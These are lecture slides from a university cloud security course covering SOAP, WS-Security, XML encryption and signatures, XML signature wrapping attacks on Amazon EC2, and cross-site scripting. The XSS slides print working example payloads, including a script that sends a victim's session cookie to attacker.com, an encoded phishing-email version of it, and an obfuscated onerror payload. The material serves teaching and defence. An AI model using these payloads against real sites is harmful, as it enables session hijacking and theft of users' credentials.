Lecture 21: Cloud Security COSC6376 Cloud Computing Lecture 21: Cloud Security Instructor: Weidong Shi (Larry), PhD Computer Science Department University of Houston

Outline SOAP WS Security Attack to Cloud API Interface XSS Attack

Schedule Class presentation Show demo to the TA Turn in a project report

Web security issues related to cloud Web services SOAP XML wrapping attacks XSS 4

SOAP

Simply Put... Simple Object Access Protocol SOAP is a way for a program running in one operating system to communicate with a program running in either the same or a different operating system using HTTP (or any other transport protocol) and XML

SOAP messaging framework XML-based messaging framework that is Extensible Interoperable Independent

Extensible Simplicity remains one of SOAP's primary design goals SOAP defines a communication framework that allows for features such as security, routing, and reliability to be added later as layered extensions

Interoperable SOAP can be used over any transport protocol such as TCP, HTTP, SMTP SOAP provides an explicit binding for HTTP Message Queue

Independent SOAP allows for any programming model and is not tied to RPC SOAP defines a model for processing individual, one-way messages SOAP also allows for any number of message exchange patterns

One-Way message

Request/Response

SOAP message format SOAP message consists of three parts: SOAP Envelope SOAP Header (optional) SOAP Body From the http://schemas.xmlsoap.org/soap/envelope/ namespace

SOAP envelope code <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Header> <!-- optional --> <!-- header blocks go here... --> </soap:Header> <soap:Body> <!-- payload or Fault element goes here... --> </soap:Body> </soap:Envelope> The Envelope is the top element of the XML document representing the message.

SOAP header code <soap:Header> <!-- security credentials --> <s:credentials xmlns:s="urn:examples-org:security"> <username>dave</username> <password>evad</password> </s:credentials> </soap:Header> Generic container for control information Contain information that influences payload processing Header is optional

SOAP body The Body element represents the message payload <x:TransferFunds xmlns:x="urn:examples-org:banking"> <from>22-342439</from> <to>98-283843</to> <amount>100.00</amount> </x:TransferFunds> </soap:Body> The Body element represents the message payload

SOAP body code <soap:Body> <x:TransferFunds xmlns:x="urn:examples-org:banking"> <from>22-342439</from> <to>98-283843</to> <amount>100.00</amount> </x:TransferFunds> </soap:Body>

SOAP in code SOAP Message Embedded in HTTP Request: <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"   SOAPENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body>        <m:GetLastTradePrice xmlns:m="Some-URI">            <symbol>DIS</symbol>        </m:GetLastTradePrice>    </SOAP-ENV:Body> </SOAP-ENV:Envelope>

SOAP in code cont SOAP Message Embedded in HTTP Response: <SOAP-ENV:Envelope   xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"   SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/>    <SOAP-ENV:Body>        <m:GetLastTradePriceResponse xmlns:m="Some-URI">            <Price>34.5</Price>        </m:GetLastTradePriceResponse>    </SOAP-ENV:Body> </SOAP-ENV:Envelope>

WS Security

The WS-Security solution ~ two years after Web Services was introduced, IBM, Microsoft and VeriSign addressed the security issue. In April 2002 they released the proposed specification for WS-Security From SOAP-Security, WS-Security, WS-License April 2004: The standard was released as WS-Security 1.0 February 2006: “Web Services Security: SOAP Message Security 1.1 (WS-Security 2004)” or WS-Security Core Specification 1.1

Why WS-Security? Standard signature and encryption techniques can be used to sign and encrypt an XML document. But these techniques are generally tied to transmission (e.g., SSL) and don’t protect the document once it arrives. But document needs to be sent as a whole, and different parts might have different security requirements. Transmission system can’t be expected to respect these differences Merchant needs to know customer’s name and address, but not credit card number.

WS-Security A standard set of SOAP extensions that can be used to implement a variety of security models and encryption techniques. Not itself a protocol Supports: Security token (passwords, keys, certificates) transmission Message integrity Message encryption Makes use of other standards: XML Signature, XML Encryption

XML encryption Example: <payment xmlns=“…”> <name> John Doe </name> <creditCard type=“visa” limit=“5000” \> <number> 1234 5678 9012 3456 </number> <issuer> Bank of XY </issuer> <expiration> 04/09 </expi2424ration> </creditCard> </payment>

XML encryption Example: encrypt the credit card element (including tags) Encrypted element replaces element encrypting an element <payment xmlns=“…”> <name> John Doe </name> <EncryptedData Type=“http://www.w3.org/2001/04/xmlenc#Element xmlns=“…XML encryption namespace…”> <EncryptionMethod Algorithm=“…” /> <KeyInfo xmlns=“…”> <KeyName> keyABC </KeyName> </KeyInfo> <CipherData> <CipherValue> AB12VY54321X ….. </CipherValue> </CipherData> </EncryptedData> </payment> encryption algorithm identify key to receiver encrypted data

XML encryption Type – granularity of encryption An entire document, or an element (with or without tags) can be encrypted. Different parts can be encrypted with different keys Algorithm –algorithm used to encrypt data Example – DES, RSA KeyName – key is known to receiver; just identify it CipherData – octet stream The standard provides a number of options that can be used to accommodate a variety of needs

XML encryption and SOAP Store encryption key in header, encrypted data is body, an element w/i body, or an attachment The result of the encryption must be a valid SOAP envelope Can’t encrypt <s:Envelope>, <s:Header> or <s:Body> elements; only their descendants

XML encryption Encrypted key is stored in header WS-Security used to attach XML Encryption Encrypted key is stored in header <s:Header> <wsse:Security> <xenc:EncryptedKey > <xenc:EncryptionMethod Algorithm=“…pub. key algo. to encrypt symmetric key…”/> <ds:KeyInfo> <ds:KeyName> Bill </ds:KeyName> </ds:KeyInfo> <xenc:CipherData> <xenc:CipherValue>abcd456…</xenc:CipherValue> </xenc:CipherData> <xenc:ReferenceList> <xenc:DataReference URI=“#EncrData” /> </xenc:ReferenceList> </xenc:EncryptedKey> </wsse:Security> </s:Header> wsse – prefix for WS-Security xenc – prefix for XML Encryption ds – prefix for KeyInfo element Bill’s publ. key encrypts sym. key optional, receiver may know it encrypted symmetric key list of data items encrypted with symmetric key

XML encryption Encrypted data is stored in body identifies data <s:Body> <xenc:EncryptedData Id=“EncrData” Type=“http://www.w3.org/2001/04/xmlenc#Element /> <xenc:EncryptionMethod Algorithm=“…symmetric algo. to encrypt data…” /> <xenc:CipherData> <xenc:CipherValue>A341BB…</xenc:CipherValue> </xenc:CipherData> </xenc:EncryptedData> </s:Body> data encrypted with symmetric key

XML signature An entire document or individual elements can be signed. Allows for the fact that Different individuals might be responsible for different parts of the message Some parts of the message should not be changed, others are changeable The signature is computed in two stages A digest, using dig_fn1 , is computed of the data and encapsulated in a <SignedInfo> element A digest, using dig_fn2 , is computed of the <SignedInfo> element and signed using the private key of the sender

<SignedInfo> element XML signature <Signature xmlns=“ …XML Signature namespace…”> <SignedInfo> <CanonicalizationMethod Algorithm=“ … “/> <SignatureMethod Algorithm=“…hash/public key encryption …” /> <Reference URI=“…locate item to be signed …” /> <DigestMethod Algorithm=“ …hash algorithm for item…/> <DigestValue>xyT14Rst…</DigestValue> </Reference> </SignedInfo> <SignatureValue>xYzu2fR….</SignatureValue> </Signature> digest of data signature of entire <SignedInfo> element

Two-Stage signature computation Signature is over <SignedInfo> element (not over the data directly) Change to data produces change to its <DigestValue> which produces change to signature of <SignedInfo> Technique used to do the signing (but not the signature itself) is signed. Defends against an attack in which intruder attempts to substitute weaker signature algorithm

KeyInfo element Problem: Suppose the public key corresponding to the private key used to sign <SignedInfo> is not known to the receiver. <SignedInfo> <CanonicalizationMethod Algorithm=“ … “/> <SignatureMethod Algorithm=“…hash/public key encryption …” /> ….. other children … </SignedInfo> <SignatureValue> …. </SignatureValue> <KeyInfo> …. </KeyInfo> produced by algorithm using a private key identifies the private key: - a name - a certificate - a corresponding public key

WS-Security Defines Security header block as a mechanism for attaching security-related information to a SOAP message and organizing it in a standard way. Uses the concept of a security token: Asserts a claim by the sender of security-related information username, PW, Kerberos ticket, key Provides a mechanism for referring to security related information that is not in message Tokens are children of Security header block Leverages XML Encryption and XML Signature

Security tokens Username token element Binary security token – an element that carries binary security information <UsernameToken Id=“…”> <Username> …. </Username> <Password> …. </Password> </UsernameToken> <BinarySecurityToken ValueType=“….” -- type of token (e.g., certificate, ticket) EncodingType=“….” > -- encoding format NmgT446C7…. -- token </BinarySecurutyToken>

Security tokens Security token reference – a mechanism for referencing tokens not contained in the message <KeyInfo> (part of XML Signature) provides an alternate (more general) mechanism for transmitting information of this type. It can be inserted as a child of Security header block <SecurityTokenReference Id=“…” > <Reference URI=“…” /> </SecurityTokenReference>

information about key used in the signature is found here Example WS-Security <s:Header> <wsse:Security> <wsse:BinarySecurityToken ValueType=“…certificate…” Id=“X509Token”> xDee45TsYU…. </wsse:BinarySecurityToken> <ds:Signature> <ds:SignedInfo> <ds:CanonicalizationMethod ……/> <ds:SignatureMethod …../> <ds:Reference URI=“#B”> -- body is signed <ds:DigestMethod …./> <ds:DigestValue …./> </ds:Reference> </ds:SignedInfo> <ds:SignatureValue> afdSkK… </ds:SignatureValue> -- signature <ds:KeyInfo> <wsse:SecurityTokenReference> <wsse:Reference URI=“#X509Token”/> </wsse:SecurityTokenReference> </ds:KeyInfo> </ds:Signature> </wsse:Security> </s:Header> <s:Body Id=“B”> ….body…. </s:Body> XML Signature token information about key used in the signature is found here

Security token Signature – An XML Signature element can be a child of a Security header block There can be multiple signatures referencing different components of the message Example: Client signs orderId header block and body of message and sends to order processing dept Order processing dept adds a shippingId header block and signs it and the orderId header block and sends to billing …

Encryption in WS-Security WS-Security uses XML Encryption in a standard way to encrypt portions of a message ReferenceList used as a stand-alone header block; lists encrypted items <s:Header> <wsse:Security> <xenc:ReferenceList> <xenc:DataReference URI=“#bodyId” /> </xenc:ReferenceList> </s:Header> <s:Body> <xenc:EncryptedData Id=“bodyId” > <ds:KeyInfo> <ds:KeyName> xyz </ds:KeyName> </ds:KeyInfo> <xenc:CipherData> <xenc:CipherValue> … </xenc:CipherValue> </xenc:CipherData> </xenc:EncryptedData> </s:Body> each EncryptedData element in ReferenceList provides its own key info xyz is the name associated with the symmetric key used to encrypt data

XML Wrapping Attacks

XML wrapping attacks (McIntosh and Austel 2005) The original document: The SOAP Body is signed and referenced by a wsu:id attribute; signature verification returns Boolean value. soap: envelope soap: header soap: body wsse:security ds:signature ds:signedInfo ds:reference uri=“#theBody“ wsu:Id=“theBody“ getQuote Symbol=“IBM“ Vulnerability: SOAP and XML Signature logics process data independently. That is, when signed data located at wsu:id is valid then the content is processed by SOAP engine.

XML wrapping attacks (McIntosh and Austel 2005) The modified document: The same data is signed and referenced by a wsu:id attribute, but the SOAP Body has changed. soap: envelope soap: header soap: body wsse:security ds:signature ds:signedInfo ds:reference uri=“#theBody“ wsu:Id=“newBody“ getQuote Symbol=“MBI“ wsu:Id=“theBody“ Symbol=“IBM“ Wrapper

XML wrapping attacks (McIntosh and Austel 2005) Summary Wrapping Attacks do not change the semantics of XML signatures using wsu:id For other signature formats (OpenPGP, PKCS#7) it is sufficient to return a Boolean value after verification; for XML Signature, this is no longer the case

EC2 Vulnerability In 2008 it was discovered that Amazon’s EC2 services were vulnerable to wrapping attacks.

EC2 SOAP request

Attack scenario Signature wrapping attack type 1

Attack scenario Signature wrapping attack type 2

EC2 SOAP message processing architecture

EC2 SOAP message processing architecture Separation of execution and security verification task modules within SOAP processing frameworks As a result, different modules access the same XML document in a different way

Countermeasures XML Schema validation "in-line approach“ Detecting SOAP message modifications Performance overhead Not guarantee to fend signature wrapping attacks since XML schemas are extensible. "in-line approach“ Additional information on the structure of a SOAP message is specified (and signed) in the header Can be circumvented (SOAP structure flexibility) “see what is signed" Application logic only sees the XML content that was digitally signed, instead of attempting to parse and process the original XML message

Security Impacts Gain control over all cloud instances of the particular Amazon customer Create and start new virtual machine instances Access to victim's virtual machine images Uncover the business secrets that are stored in victim’s applications Disclose data of victim’s customers

XSS Attacks

XSS attacks XSS attacks Allows to embed malicious code: JavaScript (AJAX!), VBScript, ActiveX, HTML, or Flash Threats: phishing, hijacking, changing of user settings, cookie theft/poisoning, false advertising , execution of code on the client, ... Applicable to web based cloud interfaces

XSS types Reflected Stored DOM-Based Link in other website / e-mail link Stored e.g. bulletin board, forum DOM-Based Ajax and web 2.0 based web sites

Attacking other users: XSS Reflected XSS User-input is reflected to web page Common vulnerability is reflection of input for an error message Exploitation: Attacker hijacks user’s session User logs in Server responds with attacker’s Javascript User requests attacker’s URL User’s browser sends session token to attacker Attacker feeds crafted URL

Reflected XSS: exploits User logs on as normal and obtains a session cookie Attacker feeds a URL to the user https://bobadilla.engr.scu.edu/error.php?message=<script>var+i=new+Image;+i.src=“http://attacker.com/”%2bddocument.cookie;</script> The user requests from the application the URL fed to them by the attacker The server responds to the user’s request; the answer contains the javascript User browser receives and executes the javascript var I = new Image; i.src=http://attacker.com/+document.cookie Code causes the user’s browser to make a request to attacker.com which contains the current session token Attacker monitors requests to attacker.com and captures the token in order to be able to perform arbitrary actions as the user

Reflected XSS: exploits Same Origin Policy: Cookies are only returned to the site that set them Same Origin Policy: Page residing in one domain can cause an arbitrary request to be made to another domain Page residing in one domain can load a script from another domain and execute it in its own context A page residing in one domain cannot read or modify cookies belonging to another domain For browser, the attacker’s javascript came from the site It is executed within the context of the site

Attacking other users: XSS From: Thomas Schwarz <tschwarz@bobadilla.engr.scu.edu> To: John Doe Subject: Complete online course feed-back form Dear Valued Student Please fill out the following online course feed-back form. Your grades will not be released to the registrar without having completed this form. Please go to my course website using your usual bookmark and then click on the following link: https://bobadilla.engr.scu.edu/%65%72%72%6f%72?message%3d%3c%73%63%72ipt>var+i=ne%77+Im%61ge%3b+i.s%72c=“ht%74%70%3a%2f

Stored XSS Stored/Persistent XSS Vulnerability Attacker hijacks user’s session Attacker’s Javascript executes in user’s browser User logs in and views attackers question Server responds with attacker’s Javascript Attacker submits question containing malicious Javascript User’s browser sends session token to attacker

DOM based XSS DOM-based XSS A user requests a crafter URL supplied by the attacker and containing embedded Javascript The server’s response does not contain the attacker’s script in any form When the user’s browser processes this response, the script is nevertheless executed.

DOM window.location = userInput; document.forms[0]. i1.value = “Bob”; document.getElementById(“i1”).value = “Bob”; “The wonders” of AJAX: Asynchronous JavaScript and XML: Only part of the user page is recreated upon user action

XSS payloads XSS Payloads: Virtual Defacement Content of host is not affected, but loaded from other sites Injecting Trojan Functionality “Google is moving to a pay to play model” proof of concept created by Jim Ley, 2004 Inducing User Actions Use payload script to perform actions Exploit Any Trust Relationships

XSS payloads Other payloads for XSS Malicious web site succeeded in the past to: Log Keystrokes Capture Clipboard Contents Steal History and Search Queries Enumerate Currently Used Applications Port Scan the Local Network Attack Other Network Hosts <img src=http://192.168.1.1/hm_icon.gif” onerror=“notNetgear()” This checks for the existence of a unique image that is present if a Netgear DSL router is present

XSS: delivery modes Reflected and DOM-based XSS attacks Use forged email to target users Use text messages Use a “third party” web site to generate requests that trigger XSS flaws This is successful if the user is logged into the vulnerable site and visits the “third party” web site at the same time Attackers can pay for banner ads that link to a URL containing an XSS payload for a vulnerable application Use the “tell a friend” or “tell administrator” functionality in order to generate emails with arbitrary contents and recipients

XSS: delivery modes Stored XSS attacks Look for user controllable data that is displayed: Personal information fields Names of documents, uploaded files, … Feedback or questions for admins Messages, comments, questions, … Anything that is recorded in application logs and displayed in a browser to administrators: URLs, usernames, referrer fields, user-agent field contents, …

HTTP only cookies HTTP Only Cookies An application sets a cookie as http only Set-Cookie: SessId=124987389346541029: HttpOnly Supporting browsers will not allow client side scripts to access the cookie This dismantles one of the methods for session hijacking

Public stored XSS Amazon.com shared login session between the Amazon shop (www.amazon.com) and the Amazon AWS management console interface (aws.amazon.com) Made the attacks on the Amazon cloud possible, due to the login credentials being shared between the two systems

Public stored XSS Persistent and public JavaScript injection and XSS attack against www.amazon.com <!-- Input --> <img onerror='/*123456789*/alert/*123456*/( cookie )' src=1> <!-- Output --> <img onerror="/*123456789 <span style=" font-size:0; =""></span*/alert/*123456 <span style=" font-size:0 ;=""></span>*/( cookie )" src=1> Arbitrary JavaScript payload to execute